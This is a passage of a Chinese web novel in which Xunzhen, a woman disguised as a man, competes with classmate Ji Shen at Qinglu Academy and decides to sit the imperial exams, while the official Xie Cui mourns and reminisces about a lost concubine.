一下子从“废物关系户”变成“学院风云人物”。 寻真的感觉是——很爽。 还有,之前嘲讽过她的孙嘉佑,现在根本不敢出现在她面前。 寻真出书院时,去榜单那看了眼。 她的名字排在第一,下面依次是纪慎,袁锦城…… 看来这两位同学的成绩还是挺稳定的。 寻真再次看了看自己的卷子 ,心想,运气占了很大成分。 毕竟她亲身经历过,当过一段时间的“流民”,自然而然地便关注到许多容易被忽略的细节。 而寻真也终于明白,青麓书院确实是凭实力论英雄,之前被孤立,就是因为大家以为她是走后门进来的,都戴着有色眼镜看她,如今她一举夺魁,大家的态度立刻来了个一百八十度大转弯,有几个还专门跑来向她道歉了。 赵崇立也对她格外关照,天天给她开小灶,教她作诗写赋。 寻真受宠若惊,夫子的这一份特别关注,太沉重了。 一日,赵崇立还问她:“为何不住在院中,你这般每日奔波往返,甚是耗费时光,廷秀那间屋子还空着,不如把你安排进去?” 寻真忙谢过夫子的好意,道:“先生有所不知,我与小妹遭逢灾祸后,便相依为命。她夜间若见不着我,便常梦魇,所以,我是定要回去陪着她的。” 赵崇立便不再说什么了。 寻真拿了第一之后,更加努力了,常常挑灯夜读。 享受过这种打脸爽感后,很难不沉迷。 甄凌不禁有些担心:“莫不是这书院太过严苛了?你若读得累了,要不就不读了?” 寻真道:“没事,我自愿的。” 在背完两大本诗集后,寻真写诗的水平有了质的飞跃,诗赋上,原本只能拿乙等中、乙等下,现在已经能稳定在乙等上了。 她的进步速度让青麓书院的学子们大为惊讶。 “甄善美之前诗赋那么差,都能拿头名,如今写诗也越来越像样了,照这趋势下去,恐怕没人能比得上他了……” 另一人叹道:“……看来,我是没希望能免束脩了。” “你叹个哪门子的气,本就没戏。若甄善美没来,此次头名必还是廷秀的,廷秀本只需再胜两场,便可免束脩了。” “我看纪慎是悬了。不过,输给甄善美,倒也不冤。” 纪慎进来时,室内顿时一静,好友吴长砚了解纪慎家中的状况,见他近来面色格外冷峻,像是受到了不小的打击,吴长砚只拍了拍纪慎的肩,什么安慰的话也没说,便回到自己的位置上。 经历这场考试后,寻真开始研究各个夫子平时的出题习惯,并有意识地在考前押题,没想到,下一次,还真让她押中了几道! 就这样,寻真势如破竹,连续拿了三次第一。 第108章 第108章“莫不是…” 寻真现在每天去书院,总会在公示栏前驻足片刻,欣赏自己的排名。 不禁感慨,她穿越前都没达成的事,在这里居然做到了。 难道她有学文的天赋? 寻真觉得很大的可能是这里娱乐活动匮乏,除了看书,实在没别的消遣了。 到座位,寻真从布袋里拿出南瓜饼,刚翻开书,便见纪慎从门口走进来。不知道是不是错觉,总觉得他的目光好像落在她手中的南瓜饼上。 等纪慎过来了,寻真友好地问:“你也想来一块吗?” 纪慎摇了摇头,在她前面落座。 在书院的时光,如白驹过隙。 寻真每天过着两点一线的生活。卯时去,申时回。天还未亮,她就得早早起床,坐马车过去。为了让路途舒适些,她买了一辆马车,雇了经验丰富的车夫,在车厢内铺上厚厚的毡布,用来减震。每天早上,她先去街市买早餐,再上马车,一边吃着早餐,一边赏景,直至抵达青麓书院。 一开始还觉得新鲜,可时间长了,寻真便开始累了。除了节假日,那一天休息时间根本不够。 心里盘算着,再读两年书就不去了。 第四次考试,寻真就没那么幸运了,押的题一道未中,经义卷还因审题失误答错了一道。 寻真看着自己的卷子。 好吧,老毛病了,有时候题目看快了就是容易看错。 算了,反正拿不拿第一对她也不重要,看开点吧。 果不其然,寻真这次的排名掉了。 只有第二。 纪慎同学咬得太紧了,而且每次诗赋都是最高分,一旦寻真有点失误,他就超上来了。 寻真离开了公示栏,一旁几个学子正聚在一处,交头接耳,议论纷纷。 “此次榜首竟是纪慎,若他下次还能夺魁,岂不是和甄善美平了?” “先生早就说过,若有人打平,便会将历次所考之卷一并取出,综合评定,可别忘了,甄善美首场是缺了考的。” “如此说来,若下场纪慎再拔头筹,他便是最后的胜者了?” “正是。” 课间,寻真在座位上,几个人到她面前,推推搡搡,像是有什么难言之隐。 寻真疑惑道:“是有什么事吗?” 其中一人有些腼腆地开口:“甄善美,我能看看你的文卷吗?” 寻真把卷子递给他们,没过多久,卷子就被送了回来。 申时初刻,钟声响起,寻真收拾好东西,挎着小布袋走出教室。 学堂里的人陆陆续续离开,只剩下五六个人。 “你可瞧了甄善美的文卷?那般简单的题他竟错了……那题我都答对了!” “甄善美这回,诗赋可拿了甲等下!策问仍是甲等上,若不是经义扯了后腿,怎可能输给纪慎?” 众人皆点头称是。须臾,有一人揣测道:“莫不是甄善美故意让着纪慎不成?” “为何让他?” “纪慎他娘在十全街卖饼,我都瞧见好几回了。休假之时,纪慎还会去帮忙出摊。他家供他读书,相当不易的。” “是,我也见过,他还在旁边支个小摊,帮人看信、写信挣些钱。” “我常看到甄善美吃他家的饼,想来定是甄善美心善,知他家境贫寒,想帮他一把,对他来说,这也不过是举手之劳。” “可这……若我是纪慎,宁愿输,也不愿受这样的怜悯。” “你又不是他,那可是五十两银子,对纪慎家来说……” 话还没说完,纪慎从门口走进来,几人面面相觑,互相使了个眼色,出去了。 他们在廊间压低声音谈论。 “他可听见了?你怎也不提醒我一下?” “听到又有何妨?我们说的,不都是实话吗?” 谣言便这就这么传开了。 而作为谣言的主角之一寻真却浑然不知。 直到下一次,寻真再次马失前蹄,又考了第二。 心想,维持第一的位置确实不容易,再加上自己诗赋本就是弱项,想要拿第一,必须在另外两场考试中远超旁人。 但这次名次出来后,学子们看她的眼神都变得怪异起来,就连赵崇立给她开小灶时,也委婉地暗示她,要全力以赴,不要保留实力。 寻真走出斋舍,琢磨赵崇立的话。 路上碰见了袁锦城,两人闲聊了几句,袁锦城搭上寻真的肩,半开玩笑地说道:“甄兄何时也能让让小弟?自从你来了之后,小弟就再没进过前二,哎……” 寻真把袁锦城的手拉开:“我还让谁了?你想要第二,自己考去!” 直到休假那日 ,寻真才知道了这离谱的传言。 这日,寻真如往常一样睡懒觉,被甄凌叫醒时,还迷迷瞪瞪的,问:“现在什么时辰了?” “辰时三刻。” 寻真眼皮都没抬,嘟囔着:“……那我再睡两个时辰。” 甄凌:“哥哥,你的同窗在楼下等你呢!” 寻真一下子清醒过来,支起身,揉了揉眼睛:“……谁?” 甄凌:“那人说他叫纪慎,每回你休假,他都会来送南瓜饼。不过每次你都睡得沉,没见着人家。” 寻真愣了会。 原来大娘的儿子是纪慎啊,怪不得她每次吃南瓜饼,纪慎总会多看几眼。 这么说,纪慎早就知道是她定的饼,只是一直装作不知道…… 寻真走到窗边,往外望去。 纪慎立在院中,身着一袭洗得发白的粗布长袍,身形清瘦,背脊却挺得笔直。他手中抱着用布包裹的东西,应该是南瓜饼了。从这个角度望去,他神色凛然严肃,紧抿着唇,浑身透着一股拧巴的劲儿。 寻真:“你叫他直接放下就好。” 甄凌:“我就是这么跟他说的,可这人说……一定要见你,哥哥……” 看见甄凌欲言又止的表情,寻真问:“怎么了?” 甄凌:“你莫不是被他发现了女儿身?这人,该不会是……钦慕你吧。” 寻真嘴角抽了抽,一时都不知道该先反驳哪一条? 这是什么恶俗的桥段? 首先,她一战成名,一拳就把比她高一头的孙嘉佑给撂倒了,书院里好些人都瞅见了,眼下孙嘉佑见着她,还绕道走呢。 再有,她和纪慎虽然是前后桌,但从开学到现在,说过的话都不超过十句。 寻真:“别瞎想,绝对不可能!应该是书院有什么事,来通知我吧。” 纪慎环顾四周,这院子里有不少稀奇古怪、他从未见过的东西。第一次看见时,他便好奇这些东西是做什么用的,如今来了这么多次,还是没弄明白。 纪慎听到脚步声,捧着南瓜饼,往屋里望去。 只见一个身着灰色宽大布袍的青年从里面走出来,头发只用发带在脑后束起,整个人大步跨出,大袖随风飘动,倒有几分不羁的名士风采。 纪慎心中暗忖,可惜个头儿不高,若生得高大伟岸些,凭他这风姿,定会有不少姑娘倾心。 待人走近,纪慎便看到一双格外明亮的眼睛。 “找我有何事?” 纪慎:“甄善美,你莫要再羞辱我了。” 寻真一脸茫然,她怎么就羞辱他了? 纪慎大步上前,将包裹塞到寻真手中,甩下一句:“望你往后每场考学皆用心对待,这头名,我凭自己的本事挣,用不着你可怜我、让着我!” 甄凌躲在门后偷听,没想到竟听到这么一番“狠话”,纪慎走后,便问寻真:“他这话是何意?” 寻真呆立原地,联系同学们平日里的窃窃私语,夫子隐晦的言语暗示,终于恍然大悟—— 感情她考个第二,大家都以为她是故意让着纪慎? 寻真表示非常无语。 寻真向甄凌解释事情的原委,甄凌听她说曾三次考中头名,惊得合不拢嘴,惊叹道:“……竟如此厉害,那岂不是比好多男子都强了?这青麓书院可是天下闻名的学府,如此看来,哥哥岂不是都能……” 话到嘴边,甄凌意识到不妥,骤然住口,自己这是在乱想些什么呢,虽平日里口口声声叫着“哥哥”,可寻真又不是真的男子,要是去参加科考,那可是犯了欺君大罪,是要掉脑袋的。 寻真:“其实那些题,只要掌握了方法,还是挺好做的……” 不过话说回来,寻真看看手中的南瓜饼。 所以,她要专门去解释她没有故意让着纪慎,那两场都是她的真实水平吗? 寻真最后还是决定什么都不说。 年末,赵崇立当着所有人的面,宣布:“今岁,甄善美与纪慎,各三次拔得头筹。因甄善美未参与入学试,故以整体之绩论,纪慎为最优。” “纪慎,你可往束仪馆,取还你所缴纳的束脩。” 赵崇立话音一落,一众学子们不约而同地往后望来,眼神微妙。 寻真心里叫苦,别这样啊。 事情根本不是你们想的那样! 寻真余光瞥见,纪慎垂在身侧的手紧紧握成了拳头,随后他猛地起身,冲了出去。 不多时,纪慎抱着一个灰色的包裹,冷着脸冲进来,当着所有人的面,“砰”的一声,将装着五十两银子的包裹砸在寻真桌上。 然后留给寻真一个冷酷的背影。 寻真拉开包袱一角看了眼,忙抱着追出去了。 “纪慎——!” “纪慎——!” “你站住!” 通往书院门口的大道上,那瘦高身影顿住。 寻真跑过去,拦在他面前:“你给我这个做什么?” “我真的没有让你!你能拿到这个名次,完全是凭你自己的实力。” 纪慎目光直直地注视着她:“此两场考校,我都向先生讨要过你的文卷,若你并非故意相让,缘何两次都在如此简单的题上出错?” 寻真哑口无言。 纪慎:“我纪慎,不需要任何人的施舍。” 他说完,便转身大步离去。 寻真:怎么就不能在简单的地方出错了?! 寻真抱着五十两银子,在风中凌乱。 寻真抱着银子回去,摊在桌上,连声叹息。 甄凌惊奇:“哪来的银子?” 寻真便将来龙去脉都跟甄凌说了。 甄凌捂着嘴笑:“这个纪慎怎么这般迂直!换做旁人,有人相让,高兴还来不及呢,他倒好,竟把到手的银子给推出去了!” 寻真:“我要真让了他,也就算了……可现在这银子,我想还给他,他还死活不要。” 甄凌:“想必是怕别人说闲话。读书人,最看重面子了。” 寻真:“要是我,才不会管别人说什么!难不成旁人叫他去吃屎,他也去?” 甄凌咯咯笑出了声。 隔日,寻真起了个大早,去十全街上找卖南瓜饼的大娘。 纪慎也在,他在大娘旁边支了个小摊,替人写书信。寻真走过去,先在大娘摊上买了个南瓜饼,然后看向纪慎:“纪慎,能否借一步说话?” 纪慎手中的笔微微一顿,抬眼看向她,“稍等。”写完信,仔细折好,放入信封,再递给面前的客人,这才随着寻真走出了这条街。 安静的小巷中,风声呼呼地直灌耳朵,十二月底,寒气逼人,在这儿站一会儿,骨头缝都被冻透了。 寻真提议:“要不去我家里说,这儿风太大了。” 纪慎:“你有何事,不妨直言。你方才也瞧见了,我还有事要忙。” 好吧。 寻真就长话短说了:“纪慎,亚圣曾言,‘有不虞之誉,有求全之毁’。” “此于我、于你皆同。” “你若常为他人言行所束缚,被人牵着鼻子走,事事都按别人说的做,那往后岂不是要全照着他人的想法而活?” “若一味为他人看法所累,而忘却修己正身,便是舍本逐末。” 寻真说完,纪慎被定住了般,怔怔的,似是在咀嚼她话中深意。 寻真道:“你等我一下,先别走。” 纪慎没有回应,寻真小跑着回家,不多时,她捧着那个装着五十两银子的包裹跑出来,喘着气,举到纪慎面前:“拿着。” 纪慎没有动作,寻真便催促道:“拿着呀!” 纪慎沉思许久,然后朝着寻真拱手,长揖道:“廷秀,受教了。” 纪慎最终接过了包裹,朝外走去,那肩背明显放松了下来,脚步也轻快了许多。 寻真舒了口气。 跟聪明人说话,一点就通。 纪慎的心态只崩了这一次,到了第二年,即便旁人当着他的面冷嘲热讽,他也只是淡淡一笑,不再往心里去。 纪慎和寻真两人,你追我赶地争第一。 第二年年末,寻真以四比二赢了纪慎。 赵崇立将寻真、纪慎、袁锦城三人叫到跟前,道:“明年,你们三人便可下场了。” 第109章 第109章“改变” 春节,纪慎备了些年货,去夫子家中拜访,饭后闲谈时,纪慎从夫子口中得知,寻真已辞馆了,且明年不会与他和袁锦城一道参加童试。 年前那日,赵崇立叮嘱他们科考的准备事项,之后,甄善美单独留下,竟是向夫子提出了辞馆。 纪慎惊讶:“他为何不去?” 赵崇立叹道:“我又何尝没有劝过,可他志意已决,不欲入仕,我又能有什么办法?你若和他交好,便替我去劝劝他,他这一身才学,若就此埋没,实在可惜。” 从赵崇立家中出来,纪慎想起那日。 他父亲在田中做活,不慎摔断了腿,他便赶忙将父亲送到城中医馆,安置好后,纪慎往十全街走去,帮母亲出摊。却瞧见一男子已帮母亲把摊面摆好了。 纪慎认出那是书院的同窗甄善美,在不远处看了许久。直到他走了,才过去。 纪慎知他是善良热心之人,所以后来才会被旁人的言语误导,误以为是甄善美有意相让。 纪慎思来想去,最终还是做出决定。 寻真正沉浸在美梦中,被甄凌拍醒了。 “上次那个姓纪的又来找你了!” 寻真:“……他来找我干嘛?” 甄凌:“没说呢。只说有要事找你商量……你如今都不读了,他还能有什么事找你啊?” 寻真快速洗漱,随手从衣柜里抓了件衣服,套上,一边系着腰带,一边打哈欠往楼梯走去。 甄凌投来狐疑的目光,寻真虚空点点她,” 别乱想有的没的。” 寻真和纪慎在院中石桌旁相对而坐,煮茶聊天。 纪慎本就不擅长交际,聊了没几句,气氛便有些冷场。寻真正要开口问他来意,纪慎看着一旁的双杠,终于切入了正题:“甄善美,你为何不愿入仕?” 寻真瞥了一眼扒着门偷听的甄凌。 “你怎知道?” 心想,纪慎专门找上门来,只为了问她这事? 纪慎:“适才拜访了夫子,从他口中得知,你已辞馆,且不与我等一同参加县试。” 寻真沉默不语,晃了晃茶杯,看着里面浮浮沉沉的茶叶。 纪慎看向她,又问了一遍:“你为何不愿?” 寻真:“……不想就是不想呗,哪有那么多理由?” 寻真与纪慎当了两年的前后桌,算是了解他的脾性,这人一旦执拗起来,就认了死理,简直就是头蛮牛。 见纪慎又要开口,寻真直接堵住他的话。 寻真:“一来,我没什么远大的志向,如今安居一隅,种种树、养养花,每日还能睡到日上三竿,这日子不知道有多舒服。” “二来,我也无意光耀门楣、求万贯家财,有点小钱,有个小院子,安安稳稳度过余生,便很知足了。” “三来,天下士子千千万万,千军万马挤独木桥,有的人考到老都中不了,我才疏学浅,还是不费那个劲了。” 还有最关键的原因,寻真压在心底。 科考可是要摸身、搜身检查的,她不要命了? 要是当场被人发现是女子,自己就算了,还会连累甄凌。 纪慎:“若身无才力,做朝生暮死的浮游,倒也无妨。可你身怀高才,若就此埋没,太可惜了。” 寻真:“只要我自己不觉得可惜,那便没什么可惜的。” 纪慎注视着她,眼中显出怅惋之色:“看来,你已决意如此了?” 寻真:“嗯。” 纪慎便不再多言,目光移向一旁,看向树苗边的双杠:“我好奇已久,这是何物,用来做什么的?” “这是双杠,我平日用来练身的。” 寻真走过去,给他做了个示范,一跃,便撑起了身子,还往前挪了一小段距离。 “原来如此,怪不得……” 纪慎眼前浮现她骑在孙嘉佑身上抡拳的场景。 纪慎起身告辞,寻真送他,到了巷子尽头,纪慎止住脚步,问她:“甄善美,我可以唤你的字吗?” 寻真对上纪慎的目光,一怔,听出了他的弦外之音。 这是主动示好,想与她以好友身份来往。 寻真微笑起来,“自然可以,那我以后便唤你廷秀了。” 纪慎也笑:“竞舟。” 两人相视而笑,纪慎还想说什么,目光越过寻真,看向她身后,唇角微微一收,正色道:“竞舟,你家妹妹出来寻你了,那我先走了。” 寻真嗯了一声,往回走,见甄凌微蹙着眉,神色隐隐透出几分警惕。 寻真觉得她这小表情挺好玩的,搭上她的肩:“在想什么呢?凌凌。” 进了门后,甄凌往外望望,确认没人后,闭门,对寻真说:“哥哥莫不是瞧上那姓纪的了吧?” 寻真:“不都跟你说了,就是普通同窗的关系。” 甄凌:“那就好,不过,想来也是……” 寻真:“也是什么?” 甄凌:“那姓纪的哪哪儿都比不上——”甄凌卡了下,含糊带过,“总之,哥哥就算要再找,也得是这世间数一数二的男子才行,这般普通的,不要。” 寻真噗嗤一声笑了出来。 “你都叫我哥了,我还找什么。”寻真说,“别想了嗷,我是不会把弱点暴露给任何人的。” “一个人也可以过得很好。” 此后,纪慎依次应县试、府试、院试,每场都在前十,顺利取得了生员资格,也就是秀才。如此,便有资格参加秋闱了。 纪慎每场考完,都会来找寻真,跟她交流考试题目,询问她的见解,每回她说完,纪慎便会夸她:“竞舟,你若去考,定比我拿的名次高。” 次数多了,寻真便明白了他的心思。 乡试放榜那天,寻真去了贡院,门口贴着黄榜,袁锦城的名字在榜单中偏上的位置。寻真将榜上所有名字看了个遍,都没找到纪慎。 纪慎平时成绩很稳定,一直比袁锦城好,怎么落榜了? 过了几日,纪慎来找寻真,看见寻真脸上的神情:“看来,竞舟已知道了?” 寻真:“你可是没发挥好?紧张了?” 纪慎颔首,自省道:“我在考场中,心里总想,若这次没中,便辜负了父母,再来一年,又要白白浪费一年光阴。” “如此患得患失,便一时乱了心神。” 纪慎长长叹了口气。 纪慎身上背负了太多,面对这种决定人生走向的大事,难以保持平常心也是人之常情。 而且,乡试本就是一道坎。 范进考了大半辈子,五十多才中了举。 寻真也不知怎么安慰,只好拍了拍他的肩:“走,请你吃饼。”然后问他,都考了什么题,两人一路走着,聊着聊着,纪慎感慨道:“竞舟,每与你研讨,便如醍醐灌顶,茅塞顿开。你心中无所欲求,故能察人所未察。” “而我不过为求名逐利而应试,如此功利,落第亦在情理之中。” “竞舟若能主政一方,定能造福百姓,青史留名。” 寻真咬了一口饼,迎着太阳,温暖的阳光洒在她脸上,皮肤下的血液仿佛也被这阳光照得热起来。 在人来人往、嘈杂喧闹的街道上,在这个看似寻常的午后,寻真随口说了一句,足以彻底改变她命运轨迹的话。 “我明年和你一起考如何?” 而谢漼那边。 凤阳府灾情稳定下来后,一众官员皆回朝复命。谢漼此前呈过外派泗州的申请书,圣上论功行赏之际,谢漼顺势请命。天启十七年二月,谢漼正式升任泗州别驾。 于此同时,寻真正好从泗州前往苏州求学,两人这便错过了。 天启十九年六月,谢漼任职期满,回京述职。 屋中,谢漼静立在桌前,不紧不慢书写奏抄。夏日庭院,格外安静,只有树叶的沙沙声。 永望接替承安之职,一直随侍谢漼左右,三年磨砺,已能独当一面了。 这三年,永望一直在做一件事,便是暗中派人到各地找那两个杀害柳姨娘的凶手。只是人海茫茫,错过了最佳时机,无异于大海捞针。 永望如实报告进展,头都不敢抬起来。 谢漼却并未苛责,让他退下。 待奏抄写完,谢漼看着窗外的景。 最多三年,定能抓住了。 金銮殿上,圣上道:“谢卿受命治水,初任都水监丞,治水之功甚伟,后出为泗州别驾,勤勉为政,州内大治。朕心甚慰,今擢卿为国子司业,望卿于庠序之中,振德育人,不负朕望。” 谢漼出列,行礼谢恩。 众臣心里直叹,旱灾、洪灾都让他碰上了,二十六岁便穿上绯袍,当真是命里带了升官的气运啊! 羡慕不来的。 那洪灾那般凶险,据说,好多官员都染上疫症,还留了病根,这样的升官路,一般人还真走不了。不提旁的,单说谢漼还通岐黄之术,跟他一道的官员都没染病,医官紧缺之时,他便替上,为官吏百姓开方预防,如此全才,只要给他机会,他便能大放异彩。 谢璋生辰当日,天气格外得好。 晴空万里,艳阳高照。 谢璋已自行穿戴好,端端正正地坐在桌前,每逢此日,谢漼便会亲手为他煮一碗长寿面。 头一年,谢璋不愿再过生辰,甚至看见厨房送来的面都吐了。 谢漼察觉到谢璋心中郁结,头一回下厨,为谢璋煮面,温和地对儿子说:“不是你的错。吃吧,吃完了,我们再祭拜你娘。” 谢璋的眼泪掉在碗中,哭着将所有的面都吃完了。 因为远在泗州,路途遥远,不便回京 ,父子二人只能在庭院中祭拜。 今年回了京,定是要去坟前拜的。 谢璋囫囵吃完了面,整理着装,在谢漼面前站正了:“爹,我好了。” 父子俩拿着祭品上了马车。 三年没来,坟头已长满杂草、野花,谢漼拿了工具来,慢慢打扫,将墓碑和墓前坪清扫得干干净净,整个坟前焕然一新。 谢璋力气小,做不了重活,便将祭品整整齐齐摆好。 猪牛羊、水果和糕点,都是谢漼事先让人备的。 摆好祭品,谢璋又小心翼翼地从箩筐中取出纸扎。 这些纸扎都是他跟着谢漼慢慢学着做的,父亲说,纸扎做成什么样,烧给娘,娘在阴间便能有一样的东西了。 于是,谢璋做了大房子、车马,纸人及各种生活用具,这样,娘在地底下也能过上好日子。 点香,燃纸钱。 谢璋跪下,乖乖地磕了一个头,直起身时,脖子前的那块葫芦玉佩轻轻晃动着:“娘,儿子如今学了许多本事,爹常夸我呢。” “您在地下过得可好?银钱可够使?爹准备了好多钱,都给你烧去了,还有两栋大房子,一栋是爹画的,另一栋是我画的。我画得没爹好,你要是不喜欢,就住爹那栋。还有……我做了好些纸人,你若看见了,便可使唤他们帮你做事……” 谢璋眼中含泪,磕磕绊绊讲着。 待谢璋说完,谢漼道:“恒哥儿,你去马车上等一会儿,我与你娘还有话要说。” 谢璋点点头,远处候着的仆从便领他下山,谢璋回头望了一眼。 谢漼背对着他,单膝跪在坟前,手缓缓抚着墓碑。 半个时辰后,谢漼下山了。 回去路上,一大一小都沉默着,中途,谢漼叫停马车,叫人先送谢璋回去。 谢漼拿了把铲子,进了谢府。 这条路,谢漼闭着眼睛也能走到。 谢漼进来后,仆人们纷纷停下脚步,目光追随着他。 有人许久才回过神,不确定地问:“……那可是五公子?” “是五公子!五公子今日怎回府了?” 虽已三年未见,可谢漼风姿依旧,众仆人都很快认出了他。 有人一拍手,道:“是了!今日是柳姨娘的忌日啊!” 提到这个,众仆人都唏嘘不已,不再说了。 走近了,谢漼再次看到那处焦房。 如今再看,已没有当日那般撕心裂肺,仿佛将灵魂都要碾碎的感觉。 谢漼立在院门口,定了定。 与正房的枯败不同,院子两边郁郁葱葱,野草疯涨。橘子树和石榴树,因无人采摘,果实成熟后便掉落于地,化作肥料,就这样一年又一年地长着。 如今已亭亭如盖,硕果累累。 谢漼来到榆树下,挖那两坛葡萄酒。 拍去酒坛上的泥土,暂放在榆树下。 谢漼推开门,走进屋内,目光缓缓扫过每一处角落。 那日,他不敢进卧房,如今,终于能直面了。 回忆如潮涌般灌入脑海中。 走出正房,他又将院子里里外外看了个遍。蓦地,他视线定在一处,脚步也顿住了。 那是他派人从潭州运来的斑竹。 不仔细瞧,根本发现不了,外面一圈是斑竹,里面却是普通竹子。 谢漼便唤人将月兰叫来。 月兰仍跟着谢漼,谢漼外出立府,自然也将她带走了。月兰听闻谢漼唤她回谢府,有些诧异,匆匆赶来。 谢漼立在竹前,问:“斑竹中怎混有其他竹子?” 月兰盯着那处,思绪飘回从前,恍惚片刻后道:“是姨娘……在您赴陇州后,有一日,她想做几把竹椅,便砍了几根斑竹,奴婢瞧见后,急忙拦住了,还道这是爷您极为珍爱的竹子,姨娘怕爷责罚,便……让瑞宝买了普通竹子,将里面的斑竹移到外面,普通竹子种到最里头,姨娘忙活许久呢……” 谢漼视线凝在那片竹上,似乎能想象出那是怎样一番景象。 心下隐隐作痛,痛感愈发烈,谢漼躬下了身。 不过区区斑竹罢了。 他怎舍得怪她。 第110章 第110章“怎能?” 回去后,月兰跪在谢漼面前,想为自己赎身。 谢漼静默片刻,同意了,问了问她往后打算,然后让永望取了身契给她,予她一笔丰厚的银子,足够她安度余生。 谢璋闯进书房,衣袍带起一阵风,急切地问道:“爹为何要赶月兰走?” 自谢漼立府后,月兰便一直照料谢璋起居。 小男孩望着庭院中渐行渐远的背影,声音哽咽:“……那是娘身边最后一个人了。” 谢漼只淡淡道:“她是自己要走。” “月兰常同我讲娘的事……”谢璋眼中噙着泪,“她走了,就再没人跟我说这些了,我不要她走……” “恒哥儿想知道什么?”谢漼伸手抚过儿子发顶,“我也知晓不少你娘的事。” 哄完孩子,书房重归寂静。 谢漼开了一坛酒,醇厚的葡萄酒香弥漫开来。 夕阳西下,暮色渐沉,橙黄的余晖透过窗棂,给屋内镀上了一层朦胧的暖光。 心口钝钝地痛着,他斟上一杯酒,仰头一饮而尽。 谢漼闭目靠在椅背上,任由回忆汹涌而来。 过了一会,谢漼起身,走向书架深处,取出一方木匣。 这匣子崭新发亮,表面一尘不染。 钥匙转动的声音在静室中格外清晰。 一件一件将旧物取出,回忆如走马灯般在眼前闪过。 起初,谢漼不过是随手寻个匣子存着,后来积得多了,竟成了习惯,得了一物,便会放到里面。 日积月累,满满一匣。 如今倒成了漫长的时光中,唯一的寄托。 这本春宫图的边角已有些卷曲,因放久了,纸张也泛黄了。 还有这张图,上面绘着一把怪异形状的椅子。 谢漼手指轻轻抚过……那时,为何不应了她呢。 谢漼拿起厚厚的一叠《女戒》抄本,慢慢翻看着,这一小部分,是她在他书房抄写的,另一部分,足有八百多张,是他赴陇州前给她布置的任务,她一日都未曾落下。 不过,看久了,谢漼辨出字迹间的细微差别,发现有好几张,是同一时间抄的,想来她是一时忘了,又怕他罚,一日补上的。 想来那时,她定是边抄,边在心里怨他吧。 谢漼摩挲着那叠女戒,记得那时,她直视着他,那眸子似燃着火。 也记得她坐在身侧,手撑着椅面,孩童般的姿势,呆呆地望向窗外,眼睛那样干净。那时,他在一旁静静看了许久。 她每次退出书房,一离开他的视线,便加快步速,还总忍不住打哈欠。他在书房中,听得清清楚楚。 还有……谢漼拿起一幅人像图。 谢漼画了一半,却独独缺了双眼。 那日,她被他吓得眼中既惊又惧,瞧着可怜极了,却瞬时勾起了谢漼心底深处的欲念,想要用力将她拖入怀中,狠狠疼爱一番。却又怕她因此恨了他,只得忍下。 四日后,她来他院中。那时他在下棋,听见她的脚步声,心便乱了,竟连下两颗白子,她走过来,谢漼心里一紧,怕自己的失态被察觉,慌乱之下,便直接伸手打乱了棋局。 还有信。 他去陇州,她共寄来五十四封信,去濠州,是三十八封。 这些信,都放在一起,每封按日期排好,纸边已有些泛毛。 他偶而会拿出来,看一看。 谢漼记得,从陇州回来,他再也无法忍耐,不想再等下去,便放纵了自己,欺负了她,那晚她哭求许久,清澈的眼睛被泪水打湿了,谢漼瞧着,既可怜又可爱,反倒让他愈发情动,更不想放过,便荒唐了一夜。还与她一同睡到日上三竿。 还有这一张,是与她欢爱时,他叫她写下的字。 写得歪歪扭扭,上面有他的名字。 …… 谢漼看完,又将这些物件一一收纳归整好。 如今回首,谢漼心中只 余无尽的悔。 若当初再耐心些,对她再好些,后来的一切是否就会有所不同…… 如果,他带她一同去濠州了…… 还有,那日都已给了她放妾书,那时就该放手了,若她与自己分开,便能避开那场灾祸。 谢漼心口突然一阵剧痛,抽搐的麻痹感蔓延开来。 可这点痛,怎及她所受的万分之一? 休沐日,谢漼在偏房忙碌着。 谢漼吩咐仆人们买了许多物件,紫檀木、藤条、牛皮、羊皮,还有铜质、铁质的小部件,堆了一地。他着一身素衣,单膝跪地,手持工具,正仔细打磨一根木材。 谢璋晨起后,听到声响,循声找来,在门口看了许久。 见父亲如此专注投入,便未出声打扰。待谢漼忙完一阵,坐在榻上休息时,他才开口问道:“爹,你在做什么?” 谢漼将一旁的图纸递给他。 谢璋接过图纸,反复打量许久,满脸疑惑:“……好奇怪的东西,这是用来做什么的?但怎还有轮子?……难道是椅子?” 谢漼微微点头。 谢璋想帮忙,谢漼便让他做些简单的活儿,比如组装金属配件之类的。谢璋虽年幼,力气不大,但动手能力丝毫不输谢漼,两人默契配合,一日功夫,便将这物件制作好了- 寻真既然决定要去参加科举,那最要紧之事便是确保女子身份不被发现。过去三年,她扮男装,虽无人起过疑心,但科举关乎重大,必须做到万无一失。 接下来的日子,寻真在家中闭关准备。天未破晓便起身,开启全方位的身体强化训练。寻真还在院子里吊了个沙袋,日日练拳。运动完,便开始学习。 纪慎落第后,回了书院,放假时会来找寻真,两人时常交流学问心得。时间就这样快速过去,转眼便到了第二年正月。 衙门张贴告示,童生们可以开始报名了。 寻真打算参加科考一事,还没跟甄凌说。 报名前,寻真将甄凌唤进平日里备考的房间,紧闭门窗。正值午时,明亮的日光穿透门棂,在地面上投射出点点光斑。 甄凌不敢相信自己听到了什么,愣怔许久才道:“……哥哥,你莫不是疯了不成?” 寻真自然是做好了万全准备,慢慢将自己的计划讲出:“凌凌,你放心,我一切都准备好了,几乎可保万无一失,考不中就罢了。若有幸中了,倒时,便选一处山清水秀之地,做个九品小官,远离了京都,便不会有事,眼下,只需过了搜身这关……” 甄凌内心翻涌,消化许久,良久才深吸一口气,尽管受到了很大的冲击,但最终还是选择支持寻真。 她们一路走来,相依为命,如今在同一户籍,已是亲人了。 “好,我陪你。” “等要考了,你得日日束胸,绝不能偷懒忘了,我每日都监督你。” 寻真摇了摇头:“我不用裹胸。” 甄凌睁大了眼睛:“……什么?” 寻真微笑起来:“若连搜身这关都过不去,我又怎能拉着你陪我冒这杀头的风险?” “我既有底气说出口,这一点,自然考虑到了。” “方才不都说了,万无一失。” 寻真面向甄凌,缓缓解开腰间系带,一件件褪下衣衫。甄凌懵了,下意识伸手去阻止:“……你做什么?” 寻真挡开她的手,褪下最后一件里衣,而后打开紧闭的房门。 刹那间,外面的光涌入,异常明亮,令人睁不开眼。 甄凌伸手去拉,却只扯到腰带,寻真如同一阵风,瞬间窜到了院子里。 寻真站在院中,赤着上身,双手向外展开,仰头迎着太阳,仿佛要将阳光都拥入怀中。 寻真看向屋内的甄凌,咧嘴一笑,接着转过身,向她展示身体。 甄凌惊愕地张大了嘴。 几乎傻住了。 寻真身上散发着腾腾热气。 胸前不算平坦,是有弧度的。 